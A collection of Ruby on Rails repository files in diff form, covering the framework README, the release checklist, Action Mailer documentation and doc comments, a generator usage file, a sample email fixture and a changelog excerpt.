+## Welcome to Rails
+
+Rails is a web-application framework that includes everything needed to
+create database-backed web applications according to the
+[Model-View-Controller (MVC)](http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)
+pattern.
+
+Understanding the MVC pattern is key to understanding Rails. MVC divides your
+application into three layers, each with a specific responsibility.
+
+The _View layer_ is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates can
+come in a variety of formats, but most view templates are HTML with embedded
+Ruby code (ERB files).
+
+The _Model layer_ represents your domain model (such as Account, Product,
+Person, Post, etc.) and encapsulates the business logic that is specific to
+your application. In Rails, database-backed model classes are derived from
+`ActiveRecord::Base`. Active Record allows you to present the data from
+database rows as objects and embellish these data objects with business logic
+methods. Although most Rails models are backed by a database, models can also
+be ordinary Ruby classes, or Ruby classes that implement a set of interfaces
+as provided by the Active Model module. You can read more about Active Record
+in its [README](activerecord/README.rdoc).
+
+The _Controller layer_ is responsible for handling incoming HTTP requests and
+providing a suitable response. Usually this means returning HTML, but Rails
+controllers can also generate XML, JSON, PDFs, mobile-specific views, and
+more. Controllers manipulate models and render view templates in order to
+generate the appropriate HTTP response.
+
+In Rails, the Controller and View layers are handled together by Action Pack.
+These two layers are bundled in a single package due to their heavy interdependence.
+This is unlike the relationship between Active Record and Action Pack, which are
+independent. Each of these packages can be used independently outside of Rails. You
+can read more about Action Pack in its [README](actionpack/README.rdoc).
+
+## Getting Started
+
+1. Install Rails at the command prompt if you haven't yet:
+
+ gem install rails
+
+2. At the command prompt, create a new Rails application:
+
+ rails new myapp
+
+ where "myapp" is the application name.
+
+3. Change directory to `myapp` and start the web server:
+
+ cd myapp
+ rails server
+
+ Run with `--help` or `-h` for options.
+
+4. Go to http://localhost:3000 and you'll see: "Welcome aboard: You're riding Ruby on Rails!"
+
+5. Follow the guidelines to start developing your application. You may find
+ the following resources handy:
+ * [Getting Started with Rails](http://guides.rubyonrails.org/getting_started.html)
+ * [Ruby on Rails Guides](http://guides.rubyonrails.org)
+ * [The API Documentation](http://api.rubyonrails.org)
+ * [Ruby on Rails Tutorial](http://ruby.railstutorial.org/ruby-on-rails-tutorial-book)

+= Releasing Rails
+
+In this document, we'll cover the steps necessary to release Rails. Each
+section contains steps to take during that time before the release. The times
+suggested in each header are just that: suggestions. However, they should
+really be considered as minimums.
+
+== 10 Days before release
+
+Today is mostly coordination tasks. Here are the things you must do today:
+
+=== Is the CI green? If not, make it green. (See "Fixing the CI")
+
+Do not release with a Red CI. You can find the CI status here:
+
+ http://travis-ci.org/rails/rails
+
+=== Is Sam Ruby happy? If not, make him happy.
+
+Sam Ruby keeps a test suite that makes sure the code samples in his book (Agile
+Web Development with Rails) all work. These are valuable integration tests
+for Rails. You can check the status of his tests here:
+
+ http://intertwingly.net/projects/dashboard.html
+
+Do not release with Red AWDwR tests.
+
+=== Do we have any Git dependencies? If so, contact those authors.
+
+Having Git dependencies indicates that we depend on unreleased code.
+Obviously Rails cannot be released when it depends on unreleased code.
+Contact the authors of those particular gems and work out a release date that
+suits them.
+
+=== Contact the security team (either Koz or tenderlove)
+
+Let them know of your plans to release. There may be security issues to be
+addressed, and that can impact your release date.
+
+=== Notify implementors.
+
+Ruby implementors have high stakes in making sure Rails works. Be kind and
+give them a heads up that Rails will be released soonish.
+
+This only needs done for major and minor releases, bugfix releases aren't a
+big enough deal, and are supposed to be backwards compatible.
+
+Send an email just giving a heads up about the upcoming release to these
+lists:
+
+* team at jruby.org
+* community at rubini.us
+* rubyonrails-core at googlegroups.com
+
+Implementors will love you and help you.
+
+== 3 Days before release
+
+This is when you should release the release candidate. Here are your tasks
+for today:
+
+=== Is the CI green? If not, make it green.
+
+=== Is Sam Ruby happy? If not, make him happy.
+
+=== Contact the security team. CVE emails must be sent on this day.
+
+=== Create a release branch.
+
+From the stable branch, create a release branch. For example, if you're
+releasing Rails 3.0.10, do this:
+
+ [aaron at higgins rails (3-0-stable)]$ git checkout -b 3-0-10
+ Switched to a new branch '3-0-10'
+ [aaron at higgins rails (3-0-10)]$
+
+=== Update each CHANGELOG.
+
+Many times commits are made without the CHANGELOG being updated. You should
+review the commits since the last release, and fill in any missing information
+for each CHANGELOG.
+
+You can review the commits for the 3.0.10 release like this:
+
+ [aaron at higgins rails (3-0-10)]$ git log v3.0.9..
+
+If you're doing a stable branch release, you should also ensure that all of
+the CHANGELOG entries in the stable branch are also synced to the master
+branch.
+
+=== Update the RAILS_VERSION file to include the RC.
+
+=== Build and test the gem.
+
+Run `rake install` to generate the gems and install them locally. Then try
+generating a new app and ensure that nothing explodes.
+
+This will stop you from looking silly when you push an RC to rubygems.org and
+then realise it is broken.
+
+=== Release the gem.
+
+IMPORTANT: Due to YAML parse problems on the rubygems.org server, it is safest
+to use Ruby 1.8 when releasing.
+
+Run `rake release`. This will populate the gemspecs with data from
+RAILS_VERSION, commit the changes, tag it, and push the gems to rubygems.org.
+Here are the commands that `rake release` should use, so you can understand
+what to do in case anything goes wrong:
+
+ $ rake all:build
+ $ git commit -am'updating RAILS_VERSION'
+ $ git tag -m'tagging rc release' v3.0.10.rc1
+ $ git push
+ $ git push --tags
+ $ for i in $(ls dist); do gem push $i; done
+
+=== Send Rails release announcements
+
+Write a release announcement that includes the version, changes, and links to
+GitHub where people can find the specific commit list. Here are the mailing
+lists where you should announce:

+
+Use Markdown format for your announcement. Remember to ask people to report
+issues with the release candidate to the rails-core mailing list.
+
+IMPORTANT: If any users experience regressions when using the release
+candidate, you *must* postpone the release. Bugfix releases *should not*
+break existing applications.
+
+=== Post the announcement to the Rails blog.
+
+If you used Markdown format for your email, you can just paste it in to the
+blog.
+
+* http://weblog.rubyonrails.org
+
+=== Post the announcement to the Rails Twitter account.
+
+== Time between release candidate and actual release
+
+Check the rails-core mailing list and the GitHub issue list for regressions in
+the RC.
+
+If any regressions are found, fix the regressions and repeat the release
+candidate process. We will not release the final until 72 hours after the
+last release candidate has been pushed. This means that if users find
+regressions, the scheduled release date must be postponed.
+
+When you fix the regressions, do not create a new branch. Fix them on the
+stable branch, then cherry pick the commit to your release branch. No other
+commits should be added to the release branch besides regression fixing commits.
+
+== Day of release
+
+Many of these steps are the same as for the release candidate, so if you need
+more explanation on a particular step, so the RC steps.
+
+Today, do this stuff in this order:
+
+* Apply security patches to the release branch
+* Update CHANGELOG with security fixes.
+* Update RAILS_VERSION to remove the rc
+* Build and test the gem
+* Release the gems
+* If releasing a new stable version:
+ - Trigger stable docs generation (see below)
+ - Update the version in the home page
+* Email security lists
+* Email general announcement lists
+
+=== Emailing the Rails security announce list
+
+Email the security announce list once for each vulnerability fixed.
+
+You can do this, or ask the security team to do it.
+
+Email the security reports to:
+
+* rubyonrails-security at googlegroups.com
+* oss-security at lists.openwall.com
+
+Be sure to note the security fixes in your announcement along with CVE numbers
+and links to each patch. Some people may not be able to upgrade right away,
+so we need to give them the security fixes in patch form.
+
+* Blog announcements
+* Twitter announcements
+* Merge the release branch to the stable branch.
+* Drink beer (or other cocktail)
+
+== Misc
+
+=== Fixing the CI
+
+There are two simple steps for fixing the CI:
+
+1. Identify the problem
+2. Fix it
+
+Repeat these steps until the CI is green.
+
+=== Manually trigger docs generation
+
+We have a post-receive hook in GitHub that calls the docs server on pushes.
+It triggers generation and publication of edge docs, updates the contrib app,
+and generates and publishes stable docs if a new stable tag is detected.
+
+The hook unfortunately is not invoked by tag pushing, so once the new stable
+tag has been pushed to origin, please run
+
+ rake publish_docs
+
+You should see something like this:
+
+ Rails master hook tasks scheduled:
+
+ * updates the local checkout
+ * updates Rails Contributors
+ * generates and publishes edge docs
+
+ If a new stable tag is detected it also
+
+ * generates and publishes stable docs
+
+ This needs typically a few minutes.
+
+Note you do not need to specify the tag, the docs server figures it out.
+
+Also, don't worry if you call that multiple times or the hook is triggered
+again by some immediate regular push, if the scripts are running new calls
+are just queued (in a queue of size 1).

+= Action Mailer -- Easy email delivery and testing
+
+Action Mailer is a framework for designing email service layers. These layers
+are used to consolidate code for sending out forgotten passwords, welcome
+wishes on signup, invoices for billing, and any other use case that requires
+a written notification to either a person or another system.
+
+Action Mailer is in essence a wrapper around Action Controller and the
+Mail gem. It provides a way to make emails using templates in the same
+way that Action Controller renders views using templates.
+
+Additionally, an Action Mailer class can be used to process incoming email,
+such as allowing a blog to accept new posts from an email (which could even
+have been sent from a phone).
+
+== Sending emails
+
+The framework works by initializing any instance variables you want to be
+available in the email template, followed by a call to +mail+ to deliver
+the email.
+
+This can be as simple as:
+
+ class Notifier < ActionMailer::Base
+ default from: 'system at loudthinking.com'
+
+ def welcome(recipient)
+ @recipient = recipient
+ mail(to: recipient,
+ subject: "[Signed up] Welcome #{recipient}")
+ end
+ end
+
+The body of the email is created by using an Action View template (regular
+ERB) that has the instance variables that are declared in the mailer action.
+
+So the corresponding body template for the method above could look like this:
+
+ Hello there,
+
+ Mr. <%= @recipient %>
+
+ Thank you for signing up!
+
+If the recipient was given as "david at loudthinking.com", the email
+generated would look like this:
+
+ Date: Mon, 25 Jan 2010 22:48:09 +1100
+ From: system at loudthinking.com
+ To: david at loudthinking.com
+ Message-ID: <4b5d84f9dd6a5_7380800b81ac29578 at void.loudthinking.com.mail>
+ Subject: [Signed up] Welcome david at loudthinking.com
+ Mime-Version: 1.0
+ Content-Type: text/plain;
+ charset="US-ASCII";
+ Content-Transfer-Encoding: 7bit
+
+ Hello there,
+
+ Mr. david at loudthinking.com
+
+ Thank you for signing up!
+
+In previous version of Rails you would call <tt>create_method_name</tt> and
+<tt>deliver_method_name</tt>. Rails 3.0 has a much simpler interface - you
+simply call the method and optionally call +deliver+ on the return value.
+
+Calling the method returns a Mail Message object:
+
+ message = Notifier.welcome # => Returns a Mail::Message object
+ message.deliver # => delivers the email
+
+Or you can just chain the methods together like:
+
+ Notifier.welcome.deliver # Creates the email and sends it immediately
+
+== Setting defaults
+
+It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't [...]
+
+Note that every value you set with this method will get overwritten if you use the same key in your mailer method.
+
+Example:
+
+ class AuthenticationMailer < ActionMailer::Base
+ default from: "awesome at application.com", subject: Proc.new { "E-mail was generated at #{Time.now}" }
+ .....
+ end
+
+== Receiving emails
+
+To receive emails, you need to implement a public instance method called <tt>receive</tt> that takes an
+email object as its single parameter. The Action Mailer framework has a corresponding class method,
+which is also called <tt>receive</tt>, that accepts a raw, unprocessed email as a string, which it then turns
+into the email object and calls the receive instance method.
+
+Example:
+
+ class Mailman < ActionMailer::Base
+ def receive(email)
+ page = Page.find_by(address: email.to.first)
+ page.emails.create(
+ subject: email.subject, body: email.body
+ )
+
+ if email.has_attachments?
+ email.attachments.each do |attachment|
+ page.attachments.create({
+ file: attachment, description: email.subject
+ })
+ end
+ end
+ end
+ end
+
+This Mailman can be the target for Postfix or other MTAs. In Rails, you would use the runner in the
+trivial case like this:
+
+ rails runner 'Mailman.receive(STDIN.read)'
+
+However, invoking Rails in the runner for each mail to be received is very resource intensive. A single
+instance of Rails should be run within a daemon, if it is going to be utilized to process more than just
+a limited number of email.
+
+== Configuration
+
+The Base class has the full list of configuration options. Here's an example:
+
+ ActionMailer::Base.smtp_settings = {
+ address: 'smtp.yourserver.com', # default: localhost
+ port: '25', # default: 25
+ user_name: 'user',
+ password: 'pass',
+ authentication: :plain # :plain, :login or :cram_md5
+ }
+
+
+== Download and installation
+
+The latest version of Action Mailer can be installed with RubyGems:
+
+ % [sudo] gem install actionmailer
+
+Source code can be downloaded as part of the Rails project on GitHub

+ # Action Mailer allows you to send email from your application using a mailer model and views.
+ #
+ # = Mailer Models
+ #
+ # To use Action Mailer, you need to create a mailer model.
+ #
+ # $ rails generate mailer Notifier
+ #
+ # The generated model inherits from <tt>ActionMailer::Base</tt>. A mailer model defines methods
+ # used to generate an email message. In these methods, you can setup variables to be used in
+ # the mailer views, options on the mail itself such as the <tt>:from</tt> address, and attachments.
+ #
+ # class Notifier < ActionMailer::Base
+ # default from: 'no-reply at example.com',
+ # return_path: 'system at example.com'
+ #
+ # def welcome(recipient)
+ # @account = recipient
+ # mail(to: recipient.email_address_with_name,
+ # bcc: ["bcc at example.com", "Order Watcher <watcher at example.com>"])
+ # end
+ # end
+ #
+ # Within the mailer method, you have access to the following methods:
+ #
+ # * <tt>attachments[]=</tt> - Allows you to add attachments to your email in an intuitive
+ # manner; <tt>attachments['filename.png'] = File.read('path/to/filename.png')</tt>
+ #
+ # * <tt>attachments.inline[]=</tt> - Allows you to add an inline attachment to your email
+ # in the same manner as <tt>attachments[]=</tt>
+ #
+ # * <tt>headers[]=</tt> - Allows you to specify any header field in your email such
+ # as <tt>headers['X-No-Spam'] = 'True'</tt>. Note, while most fields like <tt>To:</tt>
+ # <tt>From:</tt> can only appear once in an email header, other fields like <tt>X-Anything</tt>
+ # can appear multiple times. If you want to change a field that can appear multiple times,
+ # you need to set it to nil first so that Mail knows you are replacing it and not adding
+ # another field of the same name.
+ #
+ # * <tt>headers(hash)</tt> - Allows you to specify multiple headers in your email such
+ # as <tt>headers({'X-No-Spam' => 'True', 'In-Reply-To' => '1234 at message.id'})</tt>
+ #
+ # * <tt>mail</tt> - Allows you to specify email to be sent.
+ #
+ # The hash passed to the mail method allows you to specify any header that a Mail::Message
+ # will accept (any valid Email header including optional fields).
+ #
+ # The mail method, if not passed a block, will inspect your views and send all the views with
+ # the same name as the method, so the above action would send the +welcome.text.erb+ view
+ # file as well as the +welcome.text.html.erb+ view file in a +multipart/alternative+ email.
+ #
+ # If you want to explicitly render only certain templates, pass a block:
+ #
+ # mail(to: user.email) do |format|
+ # format.text
+ # format.html
+ # end
+ #
+ # The block syntax is also useful in providing information specific to a part:
+ #
+ # mail(to: user.email) do |format|
+ # format.text(content_transfer_encoding: "base64")
+ # format.html
+ # end
+ #
+ # Or even to render a special view:
+ #
+ # mail(to: user.email) do |format|
+ # format.text
+ # format.html { render "some_other_template" }
+ # end
+ #
+ # = Mailer views
+ #
+ # Like Action Controller, each mailer class has a corresponding view directory in which each
+ # method of the class looks for a template with its name.
+ #
+ # To define a template to be used with a mailing, create an <tt>.erb</tt> file with the same
+ # name as the method in your mailer model. For example, in the mailer defined above, the template at
+ # <tt>app/views/notifier/welcome.text.erb</tt> would be used to generate the email.
+ #
+ # Variables defined in the model are accessible as instance variables in the view.
+ #
+ # Emails by default are sent in plain text, so a sample view for our model example might look like this:
+ #
+ # Hi <%= @account.name %>,
+ # Thanks for joining our service! Please check back often.
+ #
+ # You can even use Action Pack helpers in these views. For example:
+ #
+ # You got a new note!
+ # <%= truncate(@note.body, length: 25) %>
+ #
+ # If you need to access the subject, from or the recipients in the view, you can do that through message object:
+ #
+ # You got a new note from <%= message.from %>!
+ # <%= truncate(@note.body, length: 25) %>

+ # URLs can be generated in mailer views using <tt>url_for</tt> or named routes. Unlike controllers from
+ # Action Pack, the mailer instance doesn't have any context about the incoming request, so you'll need
+ # to provide all of the details needed to generate a URL.
+ #
+ # When using <tt>url_for</tt> you'll need to provide the <tt>:host</tt>, <tt>:controller</tt>, and <tt>:action</tt>:
+ #
+ # <%= url_for(host: "example.com", controller: "welcome", action: "greeting") %>
+ #
+ # When using named routes you only need to supply the <tt>:host</tt>:
+ #
+ # <%= users_url(host: "example.com") %>
+ #
+ # You should use the <tt>named_route_url</tt> style (which generates absolute URLs) and avoid using the
+ # <tt>named_route_path</tt> style (which generates relative URLs), since clients reading the mail will
+ # have no concept of a current URL from which to determine a relative path.
+ #
+ # It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt>
+ # option as a configuration option in <tt>config/application.rb</tt>:
+ #
+ # config.action_mailer.default_url_options = { host: "example.com" }
+ #
+ # When you decide to set a default <tt>:host</tt> for your mailers, then you need to make sure to use the
+ # <tt>only_path: false</tt> option when using <tt>url_for</tt>. Since the <tt>url_for</tt> view helper
+ # will generate relative URLs by default when a <tt>:host</tt> option isn't explicitly provided, passing
+ # <tt>only_path: false</tt> will ensure that absolute URLs are generated.
+ #
+ # = Sending mail
+ #
+ # Once a mailer action and template are defined, you can deliver your message or create it and save it
+ # for delivery later:
+ #
+ # Notifier.welcome(david).deliver # sends the email
+ # mail = Notifier.welcome(david) # => a Mail::Message object
+ # mail.deliver # sends the email
+ #
+ # You never instantiate your mailer class. Rather, you just call the method you defined on the class itself.
+ #
+ # = Multipart Emails
+ #
+ # Multipart messages can also be used implicitly because Action Mailer will automatically detect and use
+ # multipart templates, where each template is named after the name of the action, followed by the content
+ # type. Each such detected template will be added as a separate part to the message.
+ #
+ # For example, if the following templates exist:
+ # * signup_notification.text.erb
+ # * signup_notification.text.html.erb
+ # * signup_notification.text.xml.builder
+ # * signup_notification.text.yaml.erb
+ #
+ # Each would be rendered and added as a separate part to the message, with the corresponding content
+ # type. The content type for the entire message is automatically set to <tt>multipart/alternative</tt>,
+ # which indicates that the email contains multiple different representations of the same email
+ # body. The same instance variables defined in the action are passed to all email templates.
+ #
+ # Implicit template rendering is not performed if any attachments or parts have been added to the email.
+ # This means that you'll have to manually add each part to the email and set the content type of the email
+ # to <tt>multipart/alternative</tt>.
+ #
+ # = Attachments
+ #
+ # Sending attachment in emails is easy:
+ #
+ # class ApplicationMailer < ActionMailer::Base
+ # def welcome(recipient)
+ # attachments['free_book.pdf'] = File.read('path/to/file.pdf')
+ # mail(to: recipient, subject: "New account information")
+ # end
+ # end
+ #
+ # Which will (if it had both a <tt>welcome.text.erb</tt> and <tt>welcome.text.html.erb</tt>
+ # template in the view directory), send a complete <tt>multipart/mixed</tt> email with two parts,
+ # the first part being a <tt>multipart/alternative</tt> with the text and HTML email parts inside,
+ # and the second being a <tt>application/pdf</tt> with a Base64 encoded copy of the file.pdf book
+ # with the filename +free_book.pdf+.
+ #
+ # If you need to send attachments with no content, you need to create an empty view for it,
+ # or add an empty body parameter like this:
+ #
+ # class ApplicationMailer < ActionMailer::Base
+ # def welcome(recipient)
+ # attachments['free_book.pdf'] = File.read('path/to/file.pdf')
+ # mail(to: recipient, subject: "New account information", body: "")
+ # end
+ # end
+ #
+ # = Inline Attachments
+ #
+ # You can also specify that a file should be displayed inline with other HTML. This is useful
+ # if you want to display a corporate logo or a photo.
+ #
+ # class ApplicationMailer < ActionMailer::Base
+ # def welcome(recipient)
+ # attachments.inline['photo.png'] = File.read('path/to/photo.png')
+ # mail(to: recipient, subject: "Here is what we look like")
+ # end
+ # end
+ #
+ # And then to reference the image in the view, you create a <tt>welcome.html.erb</tt> file and
+ # make a call to +image_tag+ passing in the attachment you want to display and then call
+ # +url+ on the attachment to get the relative content id path for the image source:
+ #
+ # <h1>Please Don't Cringe</h1>
+ #
+ # <%= image_tag attachments['photo.png'].url -%>
+ #
+ # As we are using Action View's +image_tag+ method, you can pass in any other options you want:
+ #
+ # <h1>Please Don't Cringe</h1>
+ #
+ # <%= image_tag attachments['photo.png'].url, alt: 'Our Photo', class: 'photo' -%>
+ #
+ # = Observing and Intercepting Mails
+ #
+ # Action Mailer provides hooks into the Mail observer and interceptor methods. These allow you to
+ # register classes that are called during the mail delivery life cycle.
+ #
+ # An observer class must implement the <tt>:delivered_email(message)</tt> method which will be
+ # called once for every email sent after the email has been sent.
+ #
+ # An interceptor class must implement the <tt>:delivering_email(message)</tt> method which will be
+ # called before the email is sent, allowing you to make modifications to the email before it hits
+ # the delivery agents. Your class should make any needed modifications directly to the passed
+ # in Mail::Message instance.
+ #
+ # = Default Hash
+ #
+ # Action Mailer provides some intelligent defaults for your emails, these are usually specified in a
+ # default method inside the class definition:
+ #
+ # class Notifier < ActionMailer::Base
+ # default sender: 'system at example.com'
+ # end
+ #
+ # You can pass in any header value that a <tt>Mail::Message</tt> accepts. Out of the box,
+ # <tt>ActionMailer::Base</tt> sets the following:
+ #
+ # * <tt>mime_version: "1.0"</tt>
+ # * <tt>charset: "UTF-8",</tt>
+ # * <tt>content_type: "text/plain",</tt>
+ # * <tt>parts_order: [ "text/plain", "text/enriched", "text/html" ]</tt>
+ #
+ # <tt>parts_order</tt> and <tt>charset</tt> are not actually valid <tt>Mail::Message</tt> header fields,
+ # but Action Mailer translates them appropriately and sets the correct values.
+ #
+ # As you can pass in any header, you need to either quote the header as a string, or pass it in as
+ # an underscored symbol, so the following will work:
+ #
+ # class Notifier < ActionMailer::Base
+ # default 'Content-Transfer-Encoding' => '7bit',
+ # content_description: 'This is a description'
+ # end
+ #
+ # Finally, Action Mailer also supports passing <tt>Proc</tt> objects into the default hash, so you
+ # can define methods that evaluate as the message is being generated:
+ #
+ # class Notifier < ActionMailer::Base
+ # default 'X-Special-Header' => Proc.new { my_method }
+ #
+ # private
+ #
+ # def my_method
+ # 'some complex call'
+ # end
+ # end
+ #
+ # Note that the proc is evaluated right at the start of the mail message generation, so if you
+ # set something in the defaults using a proc, and then set the same thing inside of your
+ # mailer method, it will get over written by the mailer method.
+ #
+ # It is also possible to set these default options that will be used in all mailers through
+ # the <tt>default_options=</tt> configuration in <tt>config/application.rb</tt>:
+ #
+ # config.action_mailer.default_options = { from: "no-reply at example.org" }
+ #
+ # = Callbacks
+ #
+ # You can specify callbacks using before_action and after_action for configuring your messages.
+ # This may be useful, for example, when you want to add default inline attachments for all
+ # messages sent out by a certain mailer class:
+ #
+ # class Notifier < ActionMailer::Base
+ # before_action :add_inline_attachment!
+ #
+ # def welcome
+ # mail
+ # end
+ #
+ # private
+ #
+ # def add_inline_attachment!
+ # attachments.inline["footer.jpg"] = File.read('/path/to/filename.jpg')
+ # end
+ # end
+ #
+ # Callbacks in ActionMailer are implemented using AbstractController::Callbacks, so you
+ # can define and configure callbacks in the same manner that you would use callbacks in
+ # classes that inherit from ActionController::Base.
+ #
+ # Note that unless you have a specific reason to do so, you should prefer using before_action
+ # rather than after_action in your ActionMailer classes so that headers are parsed properly.
+ #
+ # = Configuration options
+ #
+ # These options are specified on the class level, like
+ # <tt>ActionMailer::Base.raise_delivery_errors = true</tt>
+ #
+ # * <tt>default_options</tt> - You can pass this in at a class level as well as within the class itself as
+ # per the above section.
+ #
+ # * <tt>logger</tt> - the logger is used for generating information on the mailing run if available.
+ # Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
+ #
+ # * <tt>smtp_settings</tt> - Allows detailed configuration for <tt>:smtp</tt> delivery method:
+ # * <tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default
+ # "localhost" setting.
+ # * <tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.
+ # * <tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.
+ # * <tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.
+ # * <tt>:password</tt> - If your mail server requires authentication, set the password in this setting.
+ # * <tt>:authentication</tt> - If your mail server requires authentication, you need to specify the
+ # authentication type here.
+ # This is a symbol and one of <tt>:plain</tt> (will send the password in the clear), <tt>:login</tt> (will
+ # send password Base64 encoded) or <tt>:cram_md5</tt> (combines a Challenge/Response mechanism to exchange
+ # information and a cryptographic Message Digest 5 algorithm to hash important information)
+ # * <tt>:enable_starttls_auto</tt> - When set to true, detects if STARTTLS is enabled in your SMTP server
+ # and starts to use it.
+ # * <tt>:openssl_verify_mode</tt> - When using TLS, you can set how OpenSSL checks the certificate. This is
+ # really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name
+ # of an OpenSSL verify constant ('none', 'peer', 'client_once','fail_if_no_peer_cert') or directly the
+ # constant (OpenSSL::SSL::VERIFY_NONE, OpenSSL::SSL::VERIFY_PEER,...).
+ #
+ # * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
+ # * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
+ # * <tt>:arguments</tt> - The command line arguments. Defaults to <tt>-i -t</tt> with <tt>-f sender at address</tt>
+ # added automatically before the message is sent.
+ #
+ # * <tt>file_settings</tt> - Allows you to override options for the <tt>:file</tt> delivery method.
+ # * <tt>:location</tt> - The directory into which emails will be written. Defaults to the application
+ # <tt>tmp/mails</tt>.
+ #
+ # * <tt>raise_delivery_errors</tt> - Whether or not errors should be raised if the email fails to be delivered.
+ #
+ # * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default),
+ # <tt>:sendmail</tt>, <tt>:test</tt>, and <tt>:file</tt>. Or you may provide a custom delivery method
+ # object e.g. MyOwnDeliveryMethodClass. See the Mail gem documentation on the interface you need to
+ # implement for a custom delivery agent.
+ #
+ # * <tt>perform_deliveries</tt> - Determines whether emails are actually sent from Action Mailer when you
+ # call <tt>.deliver</tt> on an mail message or on an Action Mailer method. This is on by default but can
+ # be turned off to aid in functional testing.
+ #
+ # * <tt>deliveries</tt> - Keeps an array of all the emails sent out through the Action Mailer with
+ # <tt>delivery_method :test</tt>. Most useful for unit and functional testing.

+ #

+ # file_content = SpecialEncode(File.read('/path/to/filename.jpg'))
+ # mail.attachments['filename.jpg'] = {mime_type: 'application/x-gzip',

+ end
+
+ # The main method that creates the message and renders the email templates. There are
+ # two ways to call this method, with a block, or without a block.
+ #
+ # Both methods accept a headers hash. This hash allows you to specify the most used headers
+ # in an email message, these are:
+ #
+ # * <tt>:subject</tt> - The subject of the message, if this is omitted, Action Mailer will
+ # ask the Rails I18n class for a translated <tt>:subject</tt> in the scope of
+ # <tt>[mailer_scope, action_name]</tt> or if this is missing, will translate the
+ # humanized version of the <tt>action_name</tt>
+ # * <tt>:to</tt> - Who the message is destined for, can be a string of addresses, or an array
+ # of addresses.
+ # * <tt>:from</tt> - Who the message is from
+ # * <tt>:cc</tt> - Who you would like to Carbon-Copy on this email, can be a string of addresses,
+ # or an array of addresses.
+ # * <tt>:bcc</tt> - Who you would like to Blind-Carbon-Copy on this email, can be a string of
+ # addresses, or an array of addresses.
+ # * <tt>:reply_to</tt> - Who to set the Reply-To header of the email to.
+ # * <tt>:date</tt> - The date to say the email was sent on.
+ #
+ # You can set default values for any of the above headers (except :date) by using the <tt>default</tt>
+ # class method:
+ #
+ # class Notifier < ActionMailer::Base
+ # self.default from: 'no-reply at test.lindsaar.net',
+ # bcc: 'email_logger at test.lindsaar.net',
+ # reply_to: 'bounces at test.lindsaar.net'
+ # end
+ #
+ # If you need other headers not listed above, you can either pass them in
+ # as part of the headers hash or use the <tt>headers['name'] = value</tt>
+ # method.
+ #
+ # When a <tt>:return_path</tt> is specified as header, that value will be used as the 'envelope from'
+ # address for the Mail message. Setting this is useful when you want delivery notifications
+ # sent to a different address than the one in <tt>:from</tt>. Mail will actually use the
+ # <tt>:return_path</tt> in preference to the <tt>:sender</tt> in preference to the <tt>:from</tt>
+ # field for the 'envelope from' value.
+ #
+ # If you do not pass a block to the +mail+ method, it will find all templates in the
+ # view paths using by default the mailer name and the method name that it is being
+ # called from, it will then create parts for each of these templates intelligently,
+ # making educated guesses on correct content type and sequence, and return a fully
+ # prepared Mail::Message ready to call <tt>:deliver</tt> on to send.
+ #
+ # For example:
+ #
+ # class Notifier < ActionMailer::Base
+ # default from: 'no-reply at test.lindsaar.net',
+ #
+ # def welcome
+ # mail(to: 'mikel at test.lindsaar.net')
+ # end
+ # end
+ #
+ # Will look for all templates at "app/views/notifier" with name "welcome".
+ # If no welcome template exists, it will raise an ActionView::MissingTemplate error.
+ #
+ # However, those can be customized:
+ #
+ # mail(template_path: 'notifications', template_name: 'another')
+ #
+ # And now it will look for all templates at "app/views/notifications" with name "another".
+ #
+ # If you do pass a block, you can render specific templates of your choice:
+ #
+ # mail(to: 'mikel at test.lindsaar.net') do |format|
+ # format.text
+ # format.html
+ # end
+ #
+ # You can even render text directly without using a template:
+ #
+ # mail(to: 'mikel at test.lindsaar.net') do |format|
+ # format.text { render text: "Hello Mikel!" }
+ # format.html { render text: "<h1>Hello Mikel!</h1>" }
+ # end
+ #
+ # Which will render a <tt>multipart/alternative</tt> email with <tt>text/plain</tt> and
+ # <tt>text/html</tt> parts.
+ #
+ # The block syntax also allows you to customize the part headers if desired:
+ #
+ # mail(to: 'mikel at test.lindsaar.net') do |format|
+ # format.text(content_transfer_encoding: "base64")
+ # format.html
+ # end

+Description:
+============
+ Stubs out a new mailer and its views. Passes the mailer name, either
+ CamelCased or under_scored, and an optional list of emails as arguments.
+
+ This generates a mailer class in app/mailers and invokes your template
+ engine and test framework generators.
+
+Example:
+========
+ rails generate mailer Notifications signup forgot_password invoice
+
+ creates a Notifications mailer class, views, and test:
+ Mailer: app/mailers/notifications.rb
+ Views: app/views/notifications/signup.text.erb [...]
+ Test: test/mailers/notifications_test.rb

+Subject: Signed email causes file attachments
+To: xxxxxxx at xxxxxxxxxx.com
+
+
+Hi,
+
+Just started to use my xxxxxxxx account (to set-up a GTD system,
+natch) and noticed that when I send content via email the signature/
+certificate from my email account gets added as a file (e.g.
+"smime.p7s").
+
+Obviously I can uncheck the signature option in the Mail compose
+window but how often will I remember to do that?
+
+Is there any way these kind of files could be ignored, e.g. via some
+sort of exclusions list?

+## Rails 4.0.0 (unreleased) ##
+
+* Add support for passing custom url options other than `:host` and custom
+ status and flash options to `force_ssl`.
+
+ *Andrew White*
+
+* The `force_ssl` command now builds the redirect url from `request.fullpath`.
+ This ensures that the format is maintained and it doesn't redirect to a route
+ that has the same parameters but is defined earlier in `routes.rb`. Also any
+ optional segments are maintained.
+
+ Fixes #7528, #9061, #10305.
+
+ *Andrew White*
+
+* Return a 405 Method Not Allowed response when a request contains an unknown
+ HTTP method.
+
+ *Lewis Marshall*
+
+* Add support for extracting the port from the `:host` option passed to `url_for`.
+
+ *Andrew White*
+
+* Add support for removing the subdomain from a url by passing `nil`, `false` or `''`.
